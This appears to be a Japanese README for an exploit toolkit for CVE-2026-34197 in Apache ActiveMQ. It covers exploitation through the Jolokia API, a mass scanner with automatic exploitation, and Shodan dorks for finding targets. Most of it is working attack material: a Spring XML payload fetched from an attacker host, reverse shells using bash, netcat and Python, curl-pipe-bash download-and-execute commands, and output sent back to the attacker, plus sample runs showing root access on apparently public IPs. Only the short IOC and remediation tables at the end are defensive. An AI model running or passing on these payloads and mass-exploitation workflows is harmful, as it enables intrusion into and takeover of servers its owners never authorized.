
Apache ActiveMQ の Jolokia API を介した RCE のエクスプロイト(CVE-2026-34197)。コマンド出力のキャプチャ、大量スキャン、自動エクスプロイトに対応。
CVE-2026-34197 は、Apache ActiveMQ Classic における重大なリモートコード実行(RCE)脆弱性であり、認証済みの攻撃者が Web コンソールで公開されている Jolokia API を介して任意のオペレーティングシステムコマンドを実行できるものです。
この脆弱性は 13 年以上 にわたって存在しており、Jolokia(HTTP-JMX ブリッジ)、ActiveMQ MBeans、ネットワークコネクタ、および VM トランスポート間の相互作用に起因します。
[!CAUTION] これは KONDOR DEV SECURITY によって開発された 最初の公開 PoC です。認可されたセキュリティ評価でのみ使用してください。
id、whoami、cat /etc/passwd)の出力がターミナルに自動的に表示されますversion_check.py)— マルチスレッドによるバージョン検出 + 対象を絞った悪用| CVE ID | CVE-2026-34197 |
| 深刻度 | |
| タイプ | リモートコード実行(RCE) |
| CWE | CWE-20(不適切な入力検証)/ CWE-94(コードインジェクション) |
| 影響を受けるバージョン | ActiveMQ Classic < 5.19.4 および 6.0.0 — 6.2.2 |
| 修正済みバージョン | 5.19.4 / 6.2.3 |
| 認証が必要 | はい(デフォルト認証情報 admin:admin が一般的です) |
| 認証不要 | 6.0.0 — 6.1.1(CVE-2024-32114 による) |
| デフォルトポート | 8161(Web コンソール) |
CVE-2026-34197 — Exploitation Chain
──────────────────────────────────────────────────────────────
ATTACKER ACTIVEMQ SERVER ──────── ─────────────── │ │ [1] │── POST /api/jolokia/ ──────────────────>│ │ addNetworkConnector( │ │ vm://rce?brokerConfig= │ │ xbean:http://ATTACKER/payload.xml) │ │ │ │ [2] │── Creates VM broker │ │── Fetches remote XML │ │ [3] │<── GET /payload.xml ─────────────────────│ │── Serves malicious Spring XML ─────────>│ │ │ │ [4] │── Spring instantiates beans │ │── Runtime.exec(COMMAND) │ │── ** RCE ACHIEVED ** │ │ [5] │<── POST /output (command stdout) ────────│ (auto, for simple commands) │── Displays command output │ │ │
### ステップバイステップの内訳
| ステップ | アクション | コンポーネント |
|:----:|--------|-----------|
| **1** | 攻撃者が `/api/jolokia/` にPOSTを送信し、Broker MBean上で `addNetworkConnector` を呼び出す | Jolokia API |
| **2** | ActiveMQが `vm://` トランスポートURIを処理し、`brokerConfig` がリモートURLを指す一時的なブローカーを作成する | VMトランスポート |
| **3** | `xbean:` スキームが、攻撃者のサーバーからのSpring XML設定ファイルのダウンロードをトリガーする | Spring / XBean |
| **4** | SpringがXML内のすべてのBeanをインスタンス化し、その中には `Runtime.getRuntime().exec()` を呼び出すものも含まれる | Springコンテキスト |
| **5** | 単純なコマンドの場合、出力がキャプチャされ、HTTP POST経由で攻撃者のリスナーに送り返される(自動) | 出力キャプチャ |
---
## プロジェクト構造```
CVE-2026-34197/
├── exploit.py # PoC exploit (single target + mass scan)
├── version_check.py # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│ └── template.xml # Spring XML payload template
├── targets.txt # Target URLs (one per line)
├── docker/
│ └── docker-compose.yml # Vulnerable lab environment
├── docs/
│ ├── HUNTING_GUIDE_EN.md # Target hunting guide (English)
│ └── HUNTING_GUIDE_ES.md # Guía de búsqueda (Español)
├── LICENSE
└── README.md
pip install requests
### ラボ環境(Docker)```bash
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"
python exploit.py -T targets.txt -l YOUR_IP -c "id"
### スキャナー + 自動エクスプロイト(大量のターゲットに推奨)```bash
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt
# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"
ATTACKER_IP(-l / --lhost)について-l(または --lhost)パラメータは、エクスプロイトが機能するために極めて重要です。これは、悪意のあるSpring XMLペイロードを配信するためにあなたのマシンが使用するIPアドレスを指定します。ターゲットのActiveMQサーバーは、ペイロードをダウンロードするために、ネットワーク経由でこのIPに到達できる必要があります。
ATTACKER_IPとは何か?エクスプロイトが発動すると、ActiveMQに対して次のように指示します:「http://ATTACKER_IP:8888/payload.xml から設定をダウンロードしてください」。その後、ActiveMQはあなたのマシンに対してアウトバウンドHTTPリクエストを行います。もし到達できない場合、エクスプロイトは静かに失敗します。```
YOUR MACHINE TARGET (ActiveMQ)
──────────── ─────────────────
ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
(serves payload.xml) (downloads & executes)
### `ATTACKER_IP` の確認方法
| シナリオ | 確認方法 | 例 |
|----------|---------------|---------|
| **同一LAN**(ラボ、内部ペネトレーションテスト) | ローカル/プライベートIP | `ip a` → `192.168.1.50` |
| **VPN**(HTB、THM、内部ネットワーク) | VPNトンネルIP | `ip a show tun0` → `10.10.14.23` |
| **インターネット経由のリモートターゲット** | パブリックIP | `curl ifconfig.me` → `203.0.113.42` |
| **クラウドVPS**(サーバーから攻撃) | VPSのパブリックIP | クラウドプロバイダーのダッシュボードを確認 |```bash
# Linux — find your IPs
ip -4 addr show # All interfaces
ip addr show tun0 # VPN interface (HTB/THM)
ip addr show eth0 # Ethernet / cloud
curl -s ifconfig.me # Public IP
# Windows
ipconfig # All interfaces
(Invoke-WebRequest ifconfig.me).Content # Public IP (PowerShell)
# macOS
ifconfig en0 # Wi-Fi
ifconfig utun0 # VPN
curl -s ifconfig.me # Public IP
| 間違い | 失敗する理由 | 修正方法 |
|---|---|---|
127.0.0.1 や localhost を使用する | ターゲットは自分自身からダウンロードしようとし、あなたからはダウンロードしない | 実際のネットワークIPを使用する |
インターネット上のターゲットにプライベートIP(192.168.x.x)を使用する | ターゲットはあなたのプライベートネットワークにルーティングできない | パブリックIPまたはVPSを使用する |
パブリックIPを使用するがポート 8888 がブロックされている | ファイアウォール/NATがターゲットからのインバウンド接続をドロップする | ファイアウォール/ルーターでポート 8888 を開放するか、開放済みのポートで -lp を使用する |
誤ったインターフェースIP(例:tun0 の代わりに eth0)を使用する | ターゲットがそのネットワークセグメントに到達できない | ターゲットへのルートがあるインターフェースに合わせる |
エクスプロイトを実行する前に、ターゲットがあなたのリスナーに到達できることを確認します:```bash
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"
curl http://ATTACKER_IP:8888/
### ポートフォワーディング(NATシナリオ)
ルーター/NATの背後にいて、インターネットに公開されたターゲットを攻撃する場合:```bash
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues
# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP
# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT
sudo ufw allow 8888/tcp
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow
### 完全なワークフロー例```bash
# Step 1: Identify your IP
$ ip addr show tun0
inet 10.10.14.23/23 ...
# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
[+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]
# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444 # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
-c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1" # Terminal 2
[!IMPORTANT]
-l内のATTACKER_IPとリバースシェルコマンド(/dev/tcp/ATTACKER_IP/4444)内のATTACKER_IPは、同じ到達可能な IP である必要があります。リバースシェルコマンドで異なる IP を使用すると、シェルは誤った場所に接続します。
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker
### マススキャン(複数ターゲット)```bash
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"
# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt
# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass
targets.txt ファイルには、1行に1つのURLを記述する必要があります:```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
マススキャン機能:
- **自動重複排除** — 重複したURLは自動的に削除されます
- **単一HTTPサーバー** — ペイロードサーバーは一度起動され、すべてのターゲットで再利用されます
- **認証フォールバック** — 認証情報が失敗した場合(401)、認証なしで自動的に再試行します(CVE-2024-32114)
- **ランダム化されたコネクタ名** — ターゲット間のJMX登録の競合を回避します
- **インクリメンタル保存** — 脆弱なターゲットは即座に保存されます(Ctrl+Cしても安全)
- **HTTPSサポート** — HTTPおよびHTTPSターゲットの両方で動作します
### リバースシェル
特殊文字(`>`、`&`、`|`、`;`、`$`など)を含むリバースシェルおよびコマンドは、XML/シェルのエスケープ問題を回避するために**自動的にbase64エンコード**されます。```bash
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"
# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
-c "curl http://ATTACKER_IP/shell.sh | bash"
# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
注: エクスプロイトを実行する前にリスナーを起動してください:
nc -lvnp 4444
exploit.py と version_check.py はどちらも、id、whoami、cat /etc/passwd、hostname などの単純なコマンドの出力を自動的にキャプチャして表示できます。
単純なコマンドを実行すると、エクスプロイトは自動的にそれをラップし、stdout/stderr を HTTP POST 経由でリスナーに送り返します。``` YOUR MACHINE (ATTACKER_IP:8888) TARGET (ActiveMQ) ─────────────────────────────── ─────────────────
(payload served) Executes wrapped command:
OUTPUT=$(id 2>&1)
curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
Displays: "uid=0(root) gid=0(root)..."
#### 出力例```bash
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"
[*] Target: http://10.129.45.67:8161
[*] Command: id
[*] Output: capture enabled (will POST back to listener)
[*] Broker: localhost
[*] Auth: admin
[*] Sending request to Jolokia...
[+] Jolokia accepted the operation (status=200)
[*] Waiting for the target to download the payload...
[+] Payload served to 10.129.45.67
[+] Target downloaded the payload. Command executed.
[*] Waiting for command output...
[+] Command output received:
──────────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────
| コマンドタイプ | 例 | 動作 |
|---|---|---|
| 単純なコマンド | id, whoami, cat /etc/passwd, ls -la, uname -a | 出力がキャプチャされ、自動的に表示されます |
| リバースシェル | bash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo... | 対話型として検出 — ラッピングなし、従来どおり動作します |
| curl/wget を使用するコマンド | curl http://..., wget http://... | 対話型として検出 — ラッピングなし、干渉を避けるため |
検出は自動です。追加のフラグを渡す必要はありません。
出力キャプチャには、ターゲットシステム上で curl または wget が必要です。どちらも利用できない場合:
[!TIP] ほとんどの Linux システム(および ActiveMQ Docker イメージ)には
curlがプリインストールされています。出力キャプチャがタイムアウトしても RCE が確認された場合、ターゲットにはcurlとwgetの両方がない可能性が高いです。
| フラグ | 説明 | デフォルト |
|---|---|---|
-t, --target | 単一のターゲット URL | — |
-T, --targets-file | ターゲット URL を含むファイル(1行に1つ) | — |
-l, --lhost | ペイロードを配信する攻撃者 IP | 必須 |
-lp, --lport | ローカル HTTP サーバーのポート | 8888 |
-c, --command | 実行する OS コマンド | 必須 |
-u, --user | Jolokia ユーザー名 | admin |
-p, --password | Jolokia パスワード | admin |
--no-auth | 認証をスキップ | false |
--broker-name | ブローカー名の上書き | 自動検出 |
-o, --output | 脆弱なターゲットの出力ファイル | vulnerables.txt |
--timeout-wait | ペイロードのダウンロードを待機する秒数 | 15 |
注:
-tと-Tは相互に排他的です。どちらか一方を使用してください。
version_check.py)複数ターゲットに推奨されるツール。まず全ターゲットの ActiveMQ バージョンを検出し(高速、マルチスレッド)、その後、ペイロードコールバックによる実際の RCE 検証で脆弱なものだけを自動的にエクスプロイトする2フェーズパイプラインです。
version_check.py と exploit.py の使い分け| シナリオ | ツール | 理由 |
|---|---|---|
| ターゲットのリストがあり、どれが脆弱かを特定したい | version_check.py | まずバージョンをスキャン(高速)、その後脆弱なものだけをエクスプロイト |
| エクスプロイトせずにスキャンしたい(偵察のみ) | version_check.py | スキャンのみのモードでは -l/-c を省略 |
| 確認済みの単一ターゲットがある | exploit.py | よりシンプルで直接的なエクスプロイト |
| 特定のホストを今すぐエクスプロイトしたい | exploit.py | スキャンのオーバーヘッドなし |
| Shodan/LeakIX から100以上のターゲットがある | version_check.py | マルチスレッドのフェーズ1が大規模なリストを数秒で処理 |
┌─────────────────────────────────────────────────────────┐ │ PHASE 1 — Version Detection (fast, multithreaded) │ │ │ │ targets.txt ──→ 10 threads query Jolokia in parallel │ │ GET .../BrokerVersion │ │ │ │ For each target: │ │ 1. Try auth (admin:admin) │ │ 2. If 401 → retry without auth (CVE-2024-32114) │ │ 3. If brokerName=localhost fails → try wildcard (*) │ │ 4. Extract: version, real broker name, working auth │ │ 5. Classify: [VULNERABLE] or [PATCHED] │ │ │ │ Output: list of vulnerable candidates with metadata │ └──────────────────────┬──────────────────────────────────┘ │ only vulnerable targets ▼ ┌─────────────────────────────────────────────────────────┐ │ PHASE 2 — RCE Verification (sequential, with callback) │ │ (only runs if -l and -c are provided) │ │ │ │ For each vulnerable target: │ │ 1. Generate Spring XML payload with command │ │ 2. Send addNetworkConnector via Jolokia │ │ 3. Wait for target to download payload (callback) │ │ 4. If callback received → RCE CONFIRMED │ │ │ │ Output: confirmados.txt with RCE-confirmed targets │ └─────────────────────────────────────────────────────────┘
### バージョン分類ロジック
スキャナーは、影響を受ける範囲に基づいてバージョンを自動的に分類します:
| バージョン | 分類 |
|---------|---------------|
| `< 5.19.4`(例:5.15.9、5.18.6) | `[VULNERABLE]` |
| `>= 5.19.4`(例:5.19.4、5.20.0) | `[PATCHED]` |
| `6.0.0` から `6.2.2` まで | `[VULNERABLE]` |
| `>= 6.2.3` | `[PATCHED]` |
### ステップバイステップの使用方法ガイド
#### ステップ 1 — ターゲットファイルを準備する
各行に1つのURLを記述した `targets.txt` を作成します。重複は自動的に削除されます。```
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161
[!TIP] ハンティングガイドを使用して、Shodan、LeakIX、FOFA、Censys、またはGoogle Dorksでターゲットを探してください。
悪用せずにどのターゲットが脆弱かを特定したいだけの場合は、-lと-cを省略します:```bash
python version_check.py -T targets.txt
This runs **only Phase 1**. No HTTP server is started, no payloads are sent, no commands are executed. The output file will contain version info for each vulnerable target:```
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker
スレッド数を増やすことでスキャン速度を向上させることができます:```bash python version_check.py -T targets.txt --threads 20
#### Step 3 — スキャン+自動エクスプロイト(フルパイプライン)
1回の実行でスキャン**と**エクスプロイトを行うには、`-l`(あなたのATTACKER_IP)と`-c`(コマンド)を追加します:```bash
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
This runs both phases:
[VULNERABLE] ones (sequential, with callback verification)[!IMPORTANT]
ATTACKER_IPmust be reachable from the targets. The target ActiveMQ server will make an outbound HTTP request tohttp://ATTACKER_IP:8888/payload.xml. See the ATTACKER_IP guide for details on choosing the correct IP.
Confirmed vulnerable targets are saved incrementally to the output file (default: confirmados.txt):```
http://52.234.160.12:8161 | 5.15.9 | admin
`URL | バージョン | 認証方法` の形式です。これらを個別に `exploit.py` で使用して、さらなるポストエクスプロイテーションを行うことができます。
### 使用例```bash
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt
# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20
# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999
# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
# nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth
# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30
# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
--threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt
version_check.py における ATTACKER_IP の仕組み-l パラメータは exploit.py とまったく同じように動作しますが、1つの重要な違いがあります。HTTPサーバーは一度だけ起動され、フェーズ2のすべてのターゲット間で再利用されます。```
YOUR MACHINE (ATTACKER_IP) TARGETS
────────────────────────── ───────
HTTP server on :8888 Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
(started once, reused) Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
Target 3 (v6.2.3) ──→ [PATCHED, skipped]
**フェーズ 1 は `ATTACKER_IP` を必要としません** — Jolokia にバージョン情報を問い合わせるだけです。IP を公開せずに偵察するため、フェーズ 1 だけを単独で実行できます。
**フェーズ 2 は `ATTACKER_IP` を必要とします** — ターゲットがペイロードをダウンロードするために、あなたの HTTP サーバーに到達できる必要があります。ターゲットがあなたに到達できない場合、タイムアウト(デフォルト: 15秒)し、「コールバック受信なし」とマークされます — ただし、これは必ずしも脆弱ではないことを意味するわけではありません(ファイアウォールがアウトバウンドトラフィックをブロックしている可能性があります)。
### パラメータ
| フラグ | 説明 | デフォルト |
|------|-------------|---------|
| `-T, --targets-file` | ターゲット URL を含むファイル(1行に1つ) | *必須* |
| `-l, --lhost` | コールバック用の攻撃者 IP(フェーズ 2 を有効化) | — |
| `-c, --command` | 実行するコマンド(フェーズ 2 を有効化) | — |
| `-lp, --lport` | ローカル HTTP サーバーのポート | `8888` |
| `-o, --output` | 確認済みターゲットの出力ファイル | `confirmados.txt` |
| `-u, --user` | Jolokia ユーザー名 | `admin` |
| `-p, --password` | Jolokia パスワード | `admin` |
| `--no-auth` | 認証をスキップ | `false` |
| `--threads` | フェーズ 1 の同時スレッド数 | `10` |
| `--timeout` | フェーズ 1 のリクエストごとのタイムアウト | `10s` |
| `--wait` | フェーズ 2 でコールバックを待つ秒数 | `15s` |
> **注:** フェーズ 2 を有効にするには、`-l` と `-c` の両方を一緒に指定する必要があります。どちらかが欠けている場合、フェーズ 1(スキャン)のみが実行されます。
### 機能
- **2 フェーズパイプライン** — まず高速なバージョンスキャン、次に標的型の悪用
- **マルチスレッドのフェーズ 1** — 数百のターゲットを数秒でスキャン
- **スマートなブローカー検出** — `brokerName=*` ワイルドカード応答を処理し、MBean キーから実際のブローカー名を抽出
- **認証フォールバック** — `admin:admin` が失敗した場合(401)、認証なしで再試行(CVE-2024-32114)
- **ランダム化されたコネクタ名** — JMX の衝突を回避(ターゲットごとに一意の `rce{random8}`)
- **自動 base64 ラッピング** — リバースシェルや特殊文字がそのまま動作
- **インクリメンタル保存** — 確認済みターゲットは即座に保存(スキャン途中の Ctrl+C でも安全)
- **スキャンのみモード** — `-l`/`-c` を省略して、悪用せずにバージョン検出のみ行う
- **バージョン分類** — 影響を受ける範囲に基づいて `[VULNERABLE]` / `[PATCHED]` をマーク
- **単一の HTTP サーバー** — フェーズ 2 で一度起動し、すべてのターゲットで再利用(ポート競合なし)
### `version_check.py` を使用したリバースシェル
`version_check.py` を使用してリバースシェルを送信する場合、**2 つのことを同時に実行する必要があります**:
1. 着信するシェル接続を待機する、あなたのマシン上の **netcat リスナー**
2. ターゲットをスキャンして悪用する **version_check.py** コマンド
リスナーのポート(`nc -lvnp PORT`)は、リバースシェルコマンド内のポート(`/dev/tcp/ATTACKER_IP/PORT`)**と一致している必要があります**。```
YOUR MACHINE (ATTACKER_IP)
──────────────────────────
Terminal 1: nc -lvnp 4444 ◄── Listening for reverse shell on port 4444
Terminal 2: version_check.py ... ──► Scans targets, exploits vulnerable ones
└─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
▲
TARGET (ActiveMQ) │
───────────────── │
Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘
nc -lvnp 4444
python version_check.py -T targets.txt -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
#### 別のポートを使用する
両側が一致していれば、任意のポートを使用できます。```bash
# Terminal 1: listener on port 9001
nc -lvnp 9001
# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
-c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"
python version_check.py -T targets.txt -l ATTACKER_IP
-c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
> [!WARNING]
> **混同を避けるべきポート:** このエクスプロイトは、2つの異なる目的のために**2つの異なるポート**を使用します:
> - `-lp`(デフォルトは `8888`)— ActiveMQ が XML ペイロードをダウンロードする HTTP サーバーのポート。これはスクリプトが自動的に処理します。
> - `/dev/tcp/.../4444` 内のポート — あなたが `nc` で待ち受けるリバースシェルのコールバックポート。これはあなたの責任で開く必要があります。
>
> これらは**独立しています**。混同しないでください。シェルには `nc -lvnp 4444` が必要で、スクリプトは `:8888` を内部で処理します。
### 出力例```
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit ║
║ Phase 1: Version Detection (fast, multithreaded) ║
║ Phase 2: RCE Verification (exploit + callback) ║
║ By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY ║
╚═══════════════════════════════════════════════════════════╝
[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id
════════════════════════════════════════════════════════════
PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════
[+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
[+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
[+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
[-] [4/124] http://167.172.150.143:8161 → 401
[-] [5/124] http://198.44.176.205:8161 → Connection refused
[*] Phase 1 complete: 3 with version, 3 vulnerable by version
════════════════════════════════════════════════════════════
PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════
[+] HTTP server on 0.0.0.0:8888
[1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 52.234.160.12
[+] Command output:
──────────────────────────────────────────────
uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)
[2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[*] No callback received within 15s
[3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
[*] Sending exploit...
[+] Jolokia accepted (status=200)
[+] Payload downloaded by 146.190.139.20
[+] Command output:
──────────────────────────────────────────────
uid=33(www-data) gid=33(www-data) groups=33(www-data)
──────────────────────────────────────────────
[+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)
════════════════════════════════════════════════════════════
FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned: 124
[*] Version detected: 3
[*] Vulnerable by version: 3
[+] RCE CONFIRMED: 2
[+] Saved to: confirmed.txt
✓ http://52.234.160.12:8161 | v5.15.9 | admin
✓ http://146.190.139.20:8161 | v5.15.6 | admin
| フェーズ2の結果 | 意味 | 次のステップ |
|---|---|---|
RCE CONFIRMED + Command output: | ターゲットがコマンドを実行し、出力を送り返した | 完全成功 — 出力を直接確認できる |
RCE CONFIRMED(出力なし) | ターゲットがペイロードをダウンロードしたが、出力が受信されなかった | RCEは機能するが、ターゲットにcurl/wgetがない可能性がある;リバースシェルを使用する |
No callback received within Ns | ターゲットが時間内にHTTPサーバーに到達しなかった | ATTACKER_IPの到達可能性、ファイアウォールを確認するか、--waitを増やす |
Jolokia accepted (status=200) | Jolokiaがリクエストを正常に処理した | 良い兆候 — コールバックを待つ |
Jolokia status=500: ... | Jolokiaがエラーを返した | それでも機能する可能性がある(500でもXMLダウンロードは発生し得る);ログを確認する |
HTTP 401 | このターゲットの認証に失敗した | ターゲットには別の認証情報が必要 |
HTTP 403 | Jolokiaが制限されている | ターゲットにACLがある — この方法では悪用不可 |
Connection refused / Timeout | ターゲットに到達できない | ネットワークの問題またはターゲットがダウンしている |
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt
awk '{print "http://"$1}' raw_targets.txt > targets.txt
python version_check.py -T targets.txt --threads 20
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"
nc -lvnp 4444 # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" # Terminal 2
---
## ハンティングと偵察
公開されたApache ActiveMQインスタンスを **Shodan**、**LeakIX**、**FOFA**、**Censys**、**ZoomEye**、**Google Dorks** で発見するための詳細ガイド — バージョン別Dork、Jolokia検出、CLI/APIの使用方法、ターゲット検証手順、SIEM/IDSルール、および修復の優先順位を含みます。
<table>
<tr>
<td align="center">
<a href="docs/HUNTING_GUIDE_EN.md"><img src="https://img.shields.io/badge/Hunting%20Guide-English%20%F0%9F%87%AC%F0%9F%87%A7-2196F3?style=for-the-badge" alt="English"/></a>
</td>
<td align="center">
<a href="docs/HUNTING_GUIDE_ES.md"><img src="https://img.shields.io/badge/Gu%C3%ADa%20de%20B%C3%BAsqueda-Espa%C3%B1ol%20%F0%9F%87%AA%F0%9F%87%B8-FF9800?style=for-the-badge" alt="Español"/></a>
</td>
</tr>
</table>
### クイックShodan Dork```
"ActiveMQ" port:8161 # All exposed consoles
http.title:"Apache ActiveMQ" # By page title
"ActiveMQ" http.html:"jolokia" port:8161 # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161 # Exclude patched
+software:"Apache ActiveMQ" +port:"8161" # All exposed +banner:"jolokia" +banner:"ActiveMQ" # Jolokia exposed +software:"Apache ActiveMQ" +tag:"default-password" # Default creds
### ターゲット検証```bash
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"
# Mass version scan (recommended)
python version_check.py -T targets.txt
[!TIP] 完全なガイドは
docs/を参照してください。バージョン別のドーク、地理フィルター、API の例、IDS ルール、ステップバイステップの検証ワークフローが含まれています。
INFO | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml WARN | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
> **注:** `rce*` の部分にはランダムな文字が含まれます(例: `rcek4m2x9ab`)。これはエクスプロイトがコネクタ名をランダム化するためです。
### IOC(侵害指標)
| 指標 | 説明 |
|-----------|-------------|
| `addNetworkConnector` を含む POST `/api/jolokia/` | 悪用試行 |
| ActiveMQ プロセスからの送信 HTTP GET | ペイロード XML のダウンロード |
| ActiveMQ プロセスからの送信 HTTP POST(コマンド出力の外部送信) | 出力取得コールバック |
| `brokerConfig=xbean:http` を含む `vm://` URI | 悪意のあるコネクタ |
| Java/ActiveMQ からの予期しない子プロセス(`curl`、`wget`、`bash`) | コマンド実行 / 出力の外部送信 |
---
## 修復手順
| 優先度 | 対応 |
|----------|--------|
| **P0** | ActiveMQ Classic **5.19.4** または **6.2.3** にアップグレード |
| **P1** | Web コンソールのデフォルト認証情報を変更 |
| **P2** | ポート **8161** へのネットワークアクセスを制限 |
